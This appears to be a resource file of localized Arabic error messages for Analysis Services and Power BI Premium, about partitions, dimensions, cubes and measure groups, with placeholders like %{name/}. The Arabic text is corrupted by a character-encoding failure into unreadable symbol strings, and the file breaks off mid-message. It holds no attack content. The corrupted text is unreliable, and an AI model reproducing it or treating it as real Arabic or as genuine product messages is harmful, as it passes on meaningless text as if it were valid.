'D'-*J'7J '%{databaseName/}'.*EGD) 'D7D( %DI -3'( 'D*.2JF: '%{message/}'2*E 'D*-CE AJ 'D7D( %DI -3'( 'D*.2JF: '%{message/}'7DE J*E 'D9+H1 9DJ 'DEJ2) 'D/JF'EJCJ) '%{featureName/}'.DD' J*E /9E EJ2) DynamicFeatureSwitch %D' D@ Power BI Premium H./E*G.�D' *3E- Analysis Services (#F JB9 EHB9 'D*.2JF '%{storagelocation/}' 'D.'5 ('DB3E '%{partition/}' 6EF /DJD (J'F'* 'D.'/E. H**E+D #(37 'D71B D%5D'- G0G 'DE4CD) AJ %F4'! EDA F3. '-*J'7J H'3*9'/*G (*9JJF 'D*.7J7 'D5-J- DEHB9 *.2JF 'DB3E.4*E *:JJ1 EA*'- 'D*4AJ1 DB'9/) 'D(J'F'* '%{strRef/}'.*DE J*E 'D'3*E1'1 AJ *-/J+'* .'5J) 'D*CHJF.GD' JECF %D:'! 'D#E1 D#FG D' JH,/ #E1 BJ/ 'D*4:JD -'DJK' 9DI ,D3) 'D9ED.pDE JB/E ShardDirectory *B1J1K' (4#F *HA1 'DEB'79 'D*'DJ) 9DI 9B/) '3*9D'E *:JJ1 'D-,E: '%{MissingPartitionIDs/}'e9F/ E-'HD) *FAJ0 9EDJ) 'DF3. 'D'-*J'7J 9DI B'9/) 'D(J'F'* '%{id/}' DE J*E 'D9+H1 9DI B'9/) 'D(J'F'*.8DE J*E *:JJ1 EA*'- 'D*4AJ1 DB'9/) 'D(J'F'* '%{strRef/}'.vJ*E *91JA 'DB3E 'D(9J/ %{partition/} C@ ROLAP #H HOLAP DCF 3J*E *FAJ0 C'A) '3*9D'E'* ROLAP EF BP(D 'D1&J3 9DI #J) -'D.X%F %{typename/} 0' 'DE91QA '%{id/}' EH,H/ ('DA9D AJ '%{parentname/}' %{parenttypename/}.X%F %{typename/} 0' 'D'3E '%{name/}' EH,H/ ('DA9D AJ '%{parentname/}' %{parenttypename/}.YD' JECF 'D9+H1 9DI %{typename/} 0J 'DE91QA '%{id/}' AJ '%{parentid/}' %{parenttypename/}.�%E' #F %{typename/} 0' 'DE91QA '%{id/}' :J1 EH,H/ AJ %{parenttypename/} 0J 'DE91QA '%{parentid/}', #H #F 'DE3*./E DJ3 D/JG #0HF'* DDH5HD %DI 'DC'&F.`E1,9 'DC'&F '%{objrefids/}' :J1 5'D-. AGH D' J*7'(B E9 (FJ) 'D*3D3D 'DGJCDJ DA&) (J'F'* 'D*91JA.�%F %{typename/} 'DE3EI, %{name/}, EH,H/ ('DA9D AJ %{parentname/} %{parenttypename/}. J,( -0AG AJ E9'ED) EFA5D) B(D %F4'! G0' 'DC'&FVJ,( *H3J9 (J'F ALTER *E'EK' D#FG 3J*3(( AJ *:JJ1 'D(FJ) %DI the %{name/} %{typename/}.AD' JECF %F4'! 'D.'/E HC'&F'* /H1 .'/E #H -0AG' #H *H3J9G' *E'EK'.QD' JECF 'D'D*2'E ('DE9'ED) D#FG *E %(7'D H'-/ #H #C+1 EF 'DC'&F'* #+F'! 'DE9'ED).?%F %{typename/} 0' 'DE91QA '%{id/}' DJ3 C'&FK' 5'D-K' DDE9'D,).�'DE91QA '%{id/}' 'D.'5 (@ %{typename/} DJ3 5'D-K' D#F G0' 'DE91QA J9*(1 CDE) E-,H2) #H J-*HJ 9DI H'-/ #H #C+1 EF 'D#-1A :J1 'D5'D-): '%{invalidchars/}', #H J*,'H2 7HDG 100 -1A.5FH9 'D9EDJ) 'DE-// D@ %{name/} %{typename/} :J1 5'D-.7D' JECF %6'A) FH9 'DE1,9 'D#5D %DI *91JA 'DC'&F 'DE-//.\%F *91JA 'DC'&F 'D0J *E *2HJ/G D(J'F ALTER J9/ EF FH9 E.*DA -J+ %F E1,9 'DC'&F J*9JF *(/JDG.�D' JECF *:JJ1 E91QA 'DC'&F EF '%{strID/}' %DI '%{strNewID/}' D@ '%{name/}' %{typename/}. D' JECF *:JJ1 E91QA 'DC'&F EF BP(D (J'F ALTER.�E91QA 'DC'&F EABH/ EF *91JA 'DC'&F 'D.'5 (@ %{strName/}. 9F/E' JBHE (J'F CREATE (*9JJF .J'1 'DC*'() 'D.DAJ) DDC'&F, A%F 'D(J'F J*7D( H,H/ E91QA C'&F.�J9/ EDA 3,D 'D#.7'! 'D#3'3J '%{filename/}' 'D.'5 (@ '%{name/}' %{typename/} is :J1 5'D-. %E' #F '3E 'DEDA 7HJD DD:'J), #H J-*HJ 9DI #-1A DJ3* 5'D-) #H E-,H2)._*E %(7'D %{typename/} 0J 'DE91QA '%{id/}', ('D'3E '%{name/}' EF BP(D 9EDJ'* EH,H/) AJ 'DE9'ED).�'D'3E, '%{name/}', D@ %{typename/} :J1 5'D- D#F G0' 'D'3E CDE) E-,H2), #H J-*HJ 9DI H'-/ #H #C+1 EF 'D#-1A :J1 'D5'D-) (%{invalidchars/}), #H J*,'H2 7HDG 100 -1A.^E5/1 'D(J'F'* 'D1&J3J '%{masterdatasourceid/}' 'D.'5 (B'9/) 'D(J'F'* '%{database/}' :J1 EH,H/.OD' J3*7J9 *-DJD 'D*#+J1 /'.D E9'ED) E9DB) /9E 'D#H'E1 CREATE #HDELETE #H ALTER.,/DJD 'D(J'F'* DD.'/E :J1 EH,H/ H*901 %F4'$G.OFH9 'D9EDJ) 'DE-// D@ %{name/} %{typename/} :J1 5'D- F81K' D#FG DE **E E9'D,*G.^'D*1*J( '%{collation/}' 'D.'5 (@ '%{name/}' %{typename/} :J1 5'D- #H :J1 E9*E/ EF BP(D 'D.'/E.2'DE91QA '%{id/}' D@ %{typename/} A'1: #H :J1 E-//.8'D'3E '%{name/}' 'D.'5 (@ %{typename/} A'1: #H :J1 E-//.�*E %(7'D %{name/} %{typename/} EF BP(D 'D9EDJ'* 'DEH,H/) AJ 'DE9'ED). B(D %EC'FJ) *FAJ0 9EDJ) #.1I 9DI G0' 'DC'&F, J,( *(/JD 'DC'&F .=-/+ .7# #+F'! (/! C'&F (J'F'* *91JA EF 'DEDA, '%{filename/}'.D-/+ .7# #+F'! *-EJD '%{name/}' %{typename/} EF 'DEDA '%{filename/}'.�-/+ .7# #+F'! *-EJD VertiPaq DD,/HD '%{dimId/}' 'DEH,H/ AJ B'9/) 'D(J'F'* '%{DBId/}'. C'&F B'9/) 'D(J'F'* *'DA HD' JECF 'D'3*9D'E 9FG. '-0A B'9/) 'D(J'F'* G0G EF 'D.'/E #H BE ('3*9'/*G' EF 'DF3. 'D'-*J'7J #H BE (%F4'&G'/E9'D,*G'.eD' JECF *ECJF H69 DirectQuery DB'9/) 'D(J'F'* '%{DBName/}' F81K' D#F 'D.'/E D' J9ED AJ 'DH69 Tabular.C-/+ .7# 9F/ *-EJD 'D,/HD '%{tablename/}' EF 'DEDA '%{filename/}'.J-/+ .7# 9F/ *-EJD EDA 'DE9DHE'* '%{filename/}' D@ '%{name/}' %{typename/}.�D/I B'9/) 'D(J'F'* '%{DBName/}' E3*HI *H'AB #C(1 EF 1103 E9 *9JJF StorageEngineUsed %DI InMemory. J,( #F *3*./E BH'9/ 'D(J'F'* 'D,/HDJ) (E3*HI *H'AB 1200 #H #9DI StorageEngineUsed 'D0J *E *9JJFG %DI TabularMetadata.v*3*./E B'9/) 'D(J'F'* '%{DBName/}' E4:D 'D*.2JF TabularMetadata HD' */9E 'D*9DJB'* 'D*H6J-J) 9DI E3*HI B'9/) 'D(J'F'*.PA�D' **H'AB 71JB) 916 E5/1 'D(J'F'* '%{datasourceviewid/}' 'D.'5) ('D(O9/ '%{dimension/}' E9 71JB) 916 E5/1 (J'F'* EH,H/) AJ B'9/) 'D(J'F'*.tD' J*7'(B 'D*3D3D 'DGJCDJ 'D'A*1'6J %{defaulthierarchy/} 'D.'5 ('D(O9/ %{dimension/} E9 *3D3D GJCDJ EH,H/ AJ 'D(O9/.*D' J-*HJ 'D(O9/ %{dimension/} 9DI #J 3E'*.;J-*HJ 'D(O9/ %{dimension/} 9DI *C1'1 AJ E.77 9D'B'* 'D3E'*.?J-*HJ 'D(O9/ %{dimension/} #E' 9DI 3E'* #3'3J) 5A1J) #H E*9//).xD' JECF %F4'! 'D*3D3D 'DGJCDJ DD3E'* 'D.'5 ('D3E) %{property/} F81K' D#FG JH,/ ('DA9D *3D3D GJCDJ (FA3 'DE91QA #H 'D'3E.�%E' #F FEH0, ,E9 OLAP 'DE*7'(B E9 E91QA FEH0, ,E9 'DE5/1 '%{miningmodelid/}' 'D.'5 ((9/ ,E9 'D(J'F'* '%{dimension/}' :J1 EH,H/, #H #F 'DE3*./E DJ3 D/JG -B 'DH5HD %DI FEH0, ,E9 OLAP.XD' J-*HJ (O9/ ,E9 'D(J'F'* %{dimension/} 9DI *3D3D GJCDJ D@ MiningContentNodes #5D-*'(9.lD' *-*HJ 'D3E) 'D#3'3J) D(9/ ,E9 'D(J'F'* %{dimension/} 9DI 'D3E) 'DE7DH() 0'* 'D5D) 'DE3E') ATTRIBUTE_NAME.cD' J-*HJ 'D(O9/ '%{dimension/}' 9DI *3D3D'* GJCDJ) E91A) EF BP(D 'DE3*./E #H *3D3D'* GJCDJ) DD3E'*.GD' JECF 9ED '1*('7 DD(O9/ 'DE5/1 'D.'5 ('D(O9/ 'DE1*(7 '%{dimension/}'.sJ9/ 'D(O9/ '%{dimension/}' E1*(7K' #H ROLAP #H E.2FK' *.2JFK' E$B*K' (4CD HB'&J HD' JECF #F J-*HJ 9DI 1H'(7 .'1,J).2E5/1 'D(O9/ '%{dimension/}' %E' EABH/ #H :J1 5'D-.8J-*HJ 'D(O9/ '%{dimension/}' 9DI 1(7 (O9/ EC9( :J1 5'D-./J-*HJ 'D(O9/ %{dimension/} 9DI 3E'* #5D E*9//).PA�D' JECF E9'D,) 'D(O9/ '%{dimension/}' E9 FEH0, ,E9 'DE5/1 '%{miningmodel/}'. HD' *BHE 'D.H'12EJ) DFEH0, ,E9 'DE5/1 (/9E #(9'/ ,E9 'D(J'F'*.�J9/ 'D(O9/ '%{dimension/}' EF FH9 #5D-*'(9 HGH %E' ROLAP #H E.2QF *.2JFK' E$B*K' (71JB) HB'&J). HD' J*E /9E G0G 'D*1CJ() EF 'DEJ2'*.lJ-*HJ 'D(O9/ '%{dimension/}' 9DI 3E) 0'* '3E 3E) :J1 5'D-: '%{attribute_name/}' GH H'-/ EF 'DCDE'* 'DE-,H2).nJ-*HJ 'D(O9/ '%{dimension/}' 9DI .'5J) 96H 0'* '3E :J1 5'D-: '%{memb_prop_name/}' GH H'-/ EF 'DCDE'* 'DE-,H2).]*E *-/J/ '3E E3*HI *3D3D GJCDJ :J1 5'D-: D' JECF #F JCHF '3E E3*HI 'D*3D3D 'DGJCDJ GH ('DCD).O*E *-/J/ '3E E5/1 (J'F'* :J1 5'D-: D' JECF #F JCHF '3E E5/1 'D(J'F'* GH ('DCD).S*E *-/J/ E91QA E5/1 (J'F'* :J1 5'D-: D' JECF #F JCHF E91QA E5/1 'D(J'F'* GH ('DCD).;%E' #F E5/1 E,EH9) 'DEB'JJ3 '%{detail/}' EABH/ #H :J1 5'D-.cD' JECF #F J-*HJ 'DB3E %{partitionCaption/} 9DI EHB9 *.2JF E.55 F81K' D#FG JF*EJ %DI EDA EC9( E-DJ.FD' J*E /9E 'D'F*-'D E9 'DE3*./E 'D-'DJ 9F/E' JCHF H69 'D*H2J9 E,/HD'K.R%E' #F B'9/) 'D(J'F'* '%{databasename/}' :J1 EH,H/ #H D' *E*DC #0HF'* DDH5HD %DJG.~J*E *4:JD Analysis Services AJ 'DH69 E*9// 'D#(9'/ D' JECF *9JJF 'D.'5J) StorageMode DE,EH9) 'DEBJ'3 '%{name/}' %DI InMemory.xD' JO3E- (E,EH9'* 'D(J'F'* 0'* 'D*-/J+ 'D*2'J/J H,/'HD DirectQuery AJ E5'/1 'D(J'F'* (.D'A SQL Server HTeradata HOracle.PA<%E' #F #9E/) 'DEA*'- DD3E) %{property/} EABH/) #H :J1 5'D-).f%E' #F E91QA 3E) "'D*1*J( -3(" %{orderbypropertyid/} 'D.'5 (@ %{property/} :J1 EH,H/ #H DJ3 .'5J) 96H.dD' J*H'AB E91QA .'5J) 'D96H '%{relatedpropertyid/}' AJ 'D3E) '%{property/}' E9 3E) EH,H/) AJ 'D(O9/.XD' *9/ 3E) '%{property/}' 3E) #3'3J), DCFG' 0'* 5D) ('D3E) 'D#5DJ) '%{parentproperty/}'.�J,( #F *-*HJ #9E/) 'DEA*'- 'D.'5) (3E) 'D#5D '%{parentproperty/}' 9DI FA3 'D*1CJ( H#FH'9 'D(J'F'* E+D *DC 'D.'5) (3E) 'DEA*'- '%{keyproperty/}'.Z%E' #F 9EH/ 'D'3E 'D.'5 ('D3E) '%{property/}' EABH/ #H J-*HJ 9DI FH9 (J'F'* (.D'A 'D3D3D).]J*E *9JJF 'D.'5J) "'3*./'E" DD3E) '%{property/}' %DI "#5D" HDCF 'D.'5J) RootMemberIf EABH/).t9EH/ 'DE3*HJ'* 'DE*.7') DD3E) %{property/} :J1 5'D- %E' D#F 'D3E) DJ3* 3E) #5D #H D#F FH9 'D(J'F'* DJ3 9//K' 5-J-K'.M9EH/ 'DE,EH9) 'DE.55) DD3E) %{property/} :J1 5'D- D#F FH9 'D(J'F'* DJ3 3D3D).S9EH/ .5'&5 'DE,EH9) 'DE.55) DD3E) %{property/} :J1 5'D- D#F FH9 'D(J'F'* DJ3 3D3D).o9EH/ 9'ED 'D*4:JD 'D#-'/J DD3E) %{property/} :J1 5'D- %E' D#F 'D3E) DJ3* 3E) #5D #H D#F FH9 'D(J'F'* DJ3 3D3D).n*-*HJ H'-/) #H #C+1 EF 'D*1,E'* DD3E) %{property/} 9DI 9EH/ *3EJ) *H6J-J) :J1 5'D- D#F FH9 'D(J'F'* DJ3 3D3D).3%E' #F E5/1 'D3E) '%{property/}' EABH/ #H :J1 5'D-.PA�*9/ 'D3E) %{property/} 3E) *,EJ9 E91QA) EF BP(D 'DE3*./E, HDCF D' J*E 'D3E'- (1H'(7 'D3E) AJ 'DE,EH9'* 'DE.55) #H (9'ED *4:JD #-'/J #H (E3*HJ'* *E *.7JG'.AD' JECF #F *-*HJ 'D3E) 'DEFA5D) '%{property/}' 9DI EA'*J- E*9//).`#3DH( 'DA5D H'D*EJJ2 'DE-// DD3E) '%{property/}' :J1 5'D- D#F G0G 'D3E) EF6E) %DI 9EH/ :J1 1BEJ.ED' JECF #F *-*HJ 'D3E) 'D*J *E A5DG' '%{property/}' 9DI 3E'* 0'* 5D).}D' JECF *,EJ9 'D3E) '%{property/}'. D' JECF #F *CHF G0G 'D3E) :J1 'DB'(D DD*,EJ9 0'* 5D) ('D3E) 'D#5DJ) '%{parentproperty/}'.gD' JECF #F *-*HJ 'D3E) %{property/} 9DI *1,E'* D#FG *E *9JJF .'5J) "'D'3*./'E" 'D.'5) ('D3E) %DI 'D#5D.lD' JECF #F *-*HJ 'D3E) %{property/} 9DI .5'&5 'D96H D#FG *E *9JJF .'5J) "'D'3*./'E" 'D.'5) ('D3E) %DI 'D#5D.`D' JECF #F J*E A5D 'D3E) %{property/} D#FG *E *9JJF .'5J) "'D'3*./'E" 'D.'5) ('D3E) %DI "'D#5D".�D' JECF #F *-*HJ 'D3E) %{property/} 9DI E,EH9'* E91QA) EF BP(D 'DE3*./E D#FG *E *9JJF .'5J) "'D'3*./'E" 'D.'5) ('D3E) %DI 'D#5D.FD' *-*HJ 'D3E) 'D#3'3J) %{property/} 9DI *3D3D GJCDJ DD3E'* *E *ECJFG.)D' JECF *,EJ9 'D3E) 'D#5DJ) %{property/}.O.7# /'.DJ: J-*HJ 'D9EH/ MemberValue 'D.'5 ('D3E) %{property/} 9DI 1(7 :J1 5'D-.i%E' #F 'D*1*J( %{collation/} 'D.'5 (9EH/ 'DEA*'- DD3E) %{property/} :J1 5'D- #H :J1 E9*E/ EF BP(D 'D.'/E.wJ-*HJ 9EH/ 'D'3E DD3E) %{property/} 9DI 'D*1*J( %{collation/}. %E' #F G0' 'D*1*J( :J1 5'D- #H :J1 E9*E/ EF BP(D 'D.'/E.nD' JECF #F *-*HJ 'D3E) '%{property/}' 9DI .5'&5 'D96H D#F G0G 'D3E) D' *-*HJ 9DI *3D3D GJCDJ DD3E'* *E *ECJFG.8D' J-*HJ 'D*3D3D 'DGJCDJ '%{hierarchy/}' 9DI #J E3*HJ'*.�J-*HJ 'D*3D3D 'DGJCDJ '%{hierarchy/}' 9DI E3*HJJF, '%{level1/}' H'%{level2/}', HGE' J-*HJ'F 9DI FA3 'D3E) 'DE5/1 '%{sourceproperty/}'.\D' JECF #F J-*HJ 'D*3D3D 'DGJCDJ %{hierarchy/} 9DI E3*HI #5D-*'(9 ('D%6'A) %DI E3*HJ'* #.1I.OD' JECF *FAJ0 9EDJ) 'D*,EJ9 9DI 'D(O9/ %{dimension/} F81K' D#FG #-/ #(9'/ ROLAPPA�J6E %9/'/ MinContainerCount BJE) #C(1 EF %9/'/ MaxContainerCount. '3*./E BJE) %9/'/ MaxContainerCount DCD EF %9/'/J MinContainerCount HMaxContainerCount.PAgD' J*7'(B E91QA 'D3E) 'DE5/1 '%{sourcepropertyid/}' 'D.'5 ('DE3*HI '%{level/}' E9 3E) EH,H/) AJ 'D(O9/.RJE+D 'DE3*HI %{level/} #-/ E3*HJ'* "'DCD" DCFG DJ3 'DE3*HI 'D#HD DD*3D3D 'DGJCDJ.s%E' #F E91QA 'D3E) 'D#5D '%{parentpropertyid/}', 'D.'5 ('DE3*HI '%{level/}' :J1 EH,H/ AJ 'D(O9/ #H #FG DJ3 3E) #5D.m*E *97JD 'D*3D3D 'DGJCDJ DD3E'* 'D.'5 ('D3E) 'DE5/1 '%{sourceproperty/}' 'D.'5) (@ '%{level/}' %{typename/}.bJ*E *9JJF .'5J) 'D'3*./'E DD3E) 'DE5/1 '%{sourceproperty/}' 'D.'5) ('DE3*HI '%{level/}' %DI 'D#5D.�D' JECF #F *F*EJ 'D3E) 'DE5/1 :J1 'DB'(D) DD*,EJ9 '%{sourceproperty/}' %DI 'DE3*HI '%{level/}' D#F G0' 'DE3*HI DJ3 GH 'DE3*HI 'D#9DI DD*3D3D 'DGJCDJ.\'D3E) 'DE5/1 '%{sourceproperty/}' 'D.'5) ('DE3*HI 'D#5DJ-'D*'(9 '%{level/}' DJ3* 3E) #3'3J).[*9/ EC9('* ,D3) 'D9ED :J1 B'(D) DDC*'() AHBG' D0' D' JECF %F4'$G' ('3*./'E AllowOverwrite.PA�D' J*7'(B E91QA 71JB) 916 E5/1 'D(J'F'*  '%{datasourceviewid/}' DDEC9( '%{cube/}' E9 71JB) 916 E5/1 (J'F'* EH,H/) AJ B'9/) 'D(J'F'*.C'DEBJ'3 'D'A*1'6J '%{defaultmeasure/}' DDEC9( '%{cube/}' :J1 EH,H/.n'D(O9/ ('DE91A '%{dimensionid/}' H('D'3E '%{dimensionName/}' 'DE4'1 %DJG (H'37) 'DEC9( '%{cube/}' :J1 EH,H/.p'D3E) 0'* 'DE91QA '%{propertyid/}', 'D'3E '%{propertyname/}' 'DE4'1 %DJG ('DEC9( '%{cubedimension/}' :J1 EH,H/).z'D*3D3D 'DGJCDJ 0H 'DE91QA '%{hierarchyid/}', 'D'3E '%{hierarchyname/}' 'DE4'1 %DJG ('DEC9( '%{cubedimension/}' :J1 EH,H/.{'DE3*HI 0H 'DE91QA ''%{levelid/}', 'D'3E '%{levelname/}' 'DE4'1 %DJG ('D*3D3D 'DGJCDJ DDEC9( '%{cubehierarchy/}' :J1 EH,H/.[J-*HJ 'DEC9Q( '%{cube/}' 9DI EBJ'3 ('DE91QA '%{measureid/}' AJ #C+1 EF E,EH9) EB'JJ3 H'-/).PA[J-*HJ 'DEC9Q( '%{cube/}' 9DI EBJ'3 ('D'3E '%{measurename/}' AJ #C+1 EF E,EH9) EB'JJ3 H'-/).gD' J-*HJ 'DEC9Q( '%{cube/}' 9DI E,EH9'* EB'JJ3. HJ,( #F J-*HJ 'DEC9Q( (-/ #/FI 9DI E,EH9) EB'JJ3 H'-/)./%E' #F E5/1 'DEC9Q( %{cube/} EABH/ #H :J1 5'D-.jD' J*H'AB E91QA E5/1 'D(J'F'* '%{datasourceid/}' DDEC9( '%{cube/}' E9 E5/1 (J'F'* EH,H/ AJ B'9/) 'D(J'F'*.�3E) 'DEC9( 0'* 'DE91QA '%{propertyid/}', H'D'3E '%{propertyname/}' 'DE4'1 %DJG' ((9/ 'DEC9( '%{cubedimension/}' GJ 3E) #5D D0' J,( #F *-*HJ 9DI *3D3D GJCDJ DD3E'* *E *ECJFG.PA{(O9/ 'D*A'5JD 0H 'DE91QA '%{dimensionid/}', ('D'3E '%{dimensionname/}' 'DE4'1 %DJG (E,EH9) 'DEB'JJ3 '%{detail/}' :J1 EH,H/.�'D3E) 0'* 'DE91QA '%{propertyid/}', H'D'3E '%{propertyname/}' 'DE4'1 %DJG' ((9/ E,EH9) 'DEB'JJ3 '%{detaildimension/}' :J1 EH,H/).�D' **7'(B #9E/) 'DEA*'- 'D.'5) (3E) E,EH9) 'DEB'JJ3 %{detailproperty/} 'DEH,H/) %E' AJ #FH'9 'D(J'F'* #H 'D#1B'E E9 #9E/) 'DEA*'- 'D.'5) ('D3E) 'DE5/1.�'D*3D3D 'DGJCDJ 0H 'DE91QA '%{hierarchyid/}', ('D'3E '%{hierarchyname/}' 'DE4'1 %DJG ((O9/ E,EH9) 'DEB'JJ3 '%{detaildimension/}' :J1 EH,H/.�%E' #F (O9/ E,EH9) 'DEB'JJ3 0' 'DE91QA '%{detaildimensionid/}', H'D'3E '%{name/}' 'DE4'1 %DJG ('DEBJ'3 '%{measure/}' :J1 EH,H/ #H D' J-*HJ 9DI 3E) FB'H) H'-/) ('D6(7.>D' *H,/ 9D'B'* #(9'/ EH,H/) /'.D E,EH9) 'DEB'JJ3 '%{detail/}'.4D' *-*HJ E,EH9) 'DEB'JJ3 '%{detail/}' 9DI #J EB'JJ3.aFH9 'D(J'F'* 'D.'5 ('DEBJ'3 '%{measure/}' :J1 5'D- D#F FH9 'D(J'F'* 'D.'5 ('DEBJ'3 GH FH9 3D3D). C*-*HJ E,EH9) 'DEB'JJ3 '%{detail/}' 9DI #C+1 EF EBJ'3 9// EEJ2 H'-/.oD' J*E 1(7 E,EH9) 'DEB'JJ3 '%{detail/}' /JF'EJCJK', HDCFG' *-*HJ 9DI 'D(O9/ 'DE1*(7 /JF'EJCJK' '%{dimension/}'.AD' JECF 1(7 E,EH9) 'DEB'JJ3 '%{detail/}' (E,EH9) 'DEB'JJ3 'DE5/1.^D' JECF #F *-*HJ E,EH9) 'DEB'JJ3 '%{detail/}' 9DI 1H'(7 .'1,J) D#F E,EH9) 'DEB'JJ3 G0G E1*(7).9%E' #F E5/1 E,EH9) 'DEB'JJ3 %{detail/} EABH/ #H :J1 5'D-.4%E' #F E5/1 'DEBJ'3 '%{measure/}' EABH/ #H :J1 5'D-.�E,EH9) 'DEB'JJ3 '%{detail/}' E1*(7), HDCF G0G 'DE,EH9) *-*HJ 9DI (O9/ E,EH9) EB'JJ3 :J1 E1*(7, J3EI '%{dimension/}'. HJ,( #F JCHF 'D(O9/ '%{dimension/}' GH (O9/ ,E9 (J'F'* #H E1,9 #H :J1 E('41.�D' *-*HJ 3E) 'DFB'H) '%{detailproperty/}' 'DEH,H/) AJ (O9/ E,EH9) 'DEB'JJ3 '%{detaildimension/}' 9DI *3D3D GJCDJ DD3E'* *E *ECJFG.D%F UnknownMember DJ3* BJE) NullProcessing 5'D-) DDEBJ'3 %{measure/}..�%E' #F 'D(O9/ '%{dimension/}' 'DEH,H/ AJ E,EH9) 'DEB'JJ3 '%{detail/}' D' J-*HJ 9DI #J) 3E'* FB'H) #H J-*HJ 9DI 3E'* FB'H) E*9//). HGH J,( #F J-*HJ 9DI 3E) H'-/) ('D6(7.p*9/ 3E) 'DFB'H) %{detailproperty/} 'DEH,H/) AJ (O9/ E,EH9) 'DEB'JJ3 %{detaildimension/} :J1 5'D-) D#FG' 3E) #5D.�J,( #F JCHF FH9 'D(J'F'* 'D.'5 ('DEBJ'3 '%{measure/}' GH FA3 FH9 'D(J'F'* 'DE5/1 'D.'5 (G. HG0' D#FG DE J*E *9JJF H8JA) 'D*,EJ9 %DI 9// #H 9// EEJ2.PAkJ9/ *9(J1 'DEBJ'3 'D.'5 ('DEBJ'3 %{measure/} DJ3 EF 'DFEH0, [measure1]*[measure2] #H [measure1]/[measure2].YJ-*HJ *9(J1 'DEBJ'3 'D.'5 ('DEBJ'3 %{measure/} 9DI 'DE9'ED [%{operand/}] H'D0J *901 -DG.qD' JECF #F JF*EJ 'DE9'ED 'D#JEF '%{operand/}' 'D.'5 (*9(J1 'DEBJ'3 DDEBJ'3 '%{measure/}' %DI FA3 E,EH9) 'DEB'JJ3.bD' JECF #F J-*HJ 'DE9'ED '%{operand/}' 'D.'5 (*9(J1 'DEBJ'3 DDEBJ'3 '%{measure/}' 9DI *9(J1 EBJ'3.�J,( #F **E+D /'D) 'D*,EJ9 'D.'5) ('DEBJ'3 '%{measure/}' AJ 'DE,EH9 #H 'D9// #H 'D-/ 'D#/FI #H 'D-/ 'D#B5I D#F 'D/'D) *-*HJ 9DI *9(J1 EBJ'3.�J,( #F **E+D /'D) 'D*,EJ9 'D.'5) ('DE9'ED 'D#J31 %{operand/} D*9(J1 'DEBJ'3 'D.'5 ('DEBJ'3 '%{measure/}' AJ 'DE,EH9 #H 'D9// #H 'D-/ 'D#/FI #H 'D-/ 'D#B5I.�J,( #F **E+D /'D) 'D*,EJ9 'D.'5) ('DE9'ED 'D#JEF %{operand/} D*9(J1 'DEBJ'3 'D.'5 ('DEBJ'3 '%{measure/}' AJ 'D,E9 #H 'D9// #H 'D-/ 'D#/FI #H 'D-/ 'D#B5I #H 'D9// 'DEEJ2.zJ,( #F *CHF BJE) NullProcessing 'D.'5) ('DEBJ'3 '%{measure/}' GJ "E-,H2" D#F E9'ED *9(J1 'DEBJ'3 '%{operand/}' GH "E-,H2".mJ,( #F JCHF FH9 (J'F'* 'DEBJ'3 '%{measure/}' GH FA3 'DE9'ED 'D#J31 %{operand/} 'D.'5 (*9(J1 'DEBJ'3 'D.'5 (G.o%E' #F 'D*1*J( '%{collation/}' 'D.'5 ('D9EH/ 'DE5/1 DDEBJ'3 '%{measure/}' :J1 5'D- #H :J1 E9*E/ EF BP(D 'D.'/E.�J*7D( (O9/ 9/J/ %DI 9/J/ '%{mmdim/}' 'DEH,H/ AJ 'DEBJ'3 '%{detail/}' #F *CHF FB'H) 'D(O9/ '%{commondim/}' #BD EF *DC 'D.'5) (E,EH9) EB'JJ3 '%{lookupdetail/}'.uE91QA 3E) FB'H) '%{granularitypropertyid/}' 'DE4'1 %DJG EF BP(D (O9/ E,EH9) 'DEB'JJ3 '%{detaildimension/}' :J1 EH,H/.oE91QA 'D(O9/ 'DE*H37 '%{intermediatedimensionid/}' 'D.'5 ((O9/ E,EH9) 'DEB'JJ3 '%{detaildimension/}' :J1 EH,H/.E91QA 3E) 'DFB'H) 'DE*H37) '%{intermediategranularitypropertyid/};' 'D.'5 ((9/ E,EH9) 'DEB'JJ3 '%{detaildimension/}' :J1 EH,H/.�D' *-*HJ 3E) 'D*-(J( 'DE*H37) '%{granularityproperty/}' 'D.'5) ((9/ E,EH9) 'DEB'JJ3 '%{detaildimension/}' 9DI *3D3D GJCDJ DD3E'* *E *ECJFG.�D' JECF #F JCHF 'D(O9/ 'DE*H37 '%{intermediatedimension/}' 'D.'5 ((9/ E,EH9) 'DEB'JJ3 '%{detaildimension/}' 9('1) 9F (O9/ ,E9 (J'F'* #H E1,9 #H 9/J/ %DI 9/J/.�J,( #F JF*EJ (O9/ 'D9/J/ %DI 'D9/J/ '%{mmdim/}' 'DEH,H/ AJ E,EH9) 'DEB'JJ3 '%{detail/}' %DI E,EH9) 'DEB'JJ3 'DE*H37) '%{lookupdetail/}' HD' JECF #F J4CD *C1'1K'.�AJ E,EH9) 'DEB'JJ3 '%{detail/}' J4J1 (O9/ 9/J/ %DI 9/J/ '%{mmdim/}' %DI E,EH9) EB'JJ3 (-+ EABH/) 0'* 'DE91QA '%{indirectdetailid/}'.jJ9/ 'DC'&F 0H 'DE91QA '%{id/}', ('D'3E '%{name/}' EF 'DFH9 '%{typename/}' HGH E' D' J/9E 'D9EDJ) 'DE7DH().iE5/1 (J'F'* %{datasourceid/} 'D.'5 (B3E %{partition/} :J1 E7'(B DE5/1 'D(J'F'* 'DEH,H/ AJ B'9/) 'D(J'F'*.SE91QA 'D(O9/ '%{dimensionid/}' 'DE4'1 %DJG EF BP(D 'DB3E '%{partition/}' :J1 EH,H/._E91QA 'D3E) '%{propertyid/}' 'DE4'1 %DJG EF BP(D (O9/ 'DB3E '%{partitiondimension/}' :J1 EH,H/.PAQ%E' #F #9E/) 'DEA*'- 'D.'5) (3E) 'DB3E %{partitionproperty/} EABH/) #H :J1 5'D-).RE91QA 'DEBJ'3 '%{measureid/}' 'DE4'1 %DJG EF BP(D 'DB3E '%{partition/}' :J1 EH,H/.K'D(O9/ %{dimension/} 'DE4'1 %DJG EF BP(D 'D*,EJ9 %{aggregation/} :J1 EH,H/.�'D3E) 0'* 'DE91QA '%{propertyid/}', H'D'3E '%{propertyname/}' 'DE4'1 %DJG' EF BP(D (O9/ 'D*,EJ9 %{aggregationdimension/} :J1 EH,H/).�'D3E) 0'* 'DE91QA '%{propertyid/}', ('D'3E '%{propertyname/}' 'DEH,H/) AJ (O9/ 'D*,EJ9 %{aggregationdimension/} :J1 5'D-) D#FG' 3E) #5D.Q'D(O9/ %{dimension/} 'DE4'1 %DJG EF BP(D *5EJE 'D*,EJ9 '%{aggdesign/}' :J1 EH,H/.a'D3E) '%{property/}' 'DE4'1 %DJG' EF 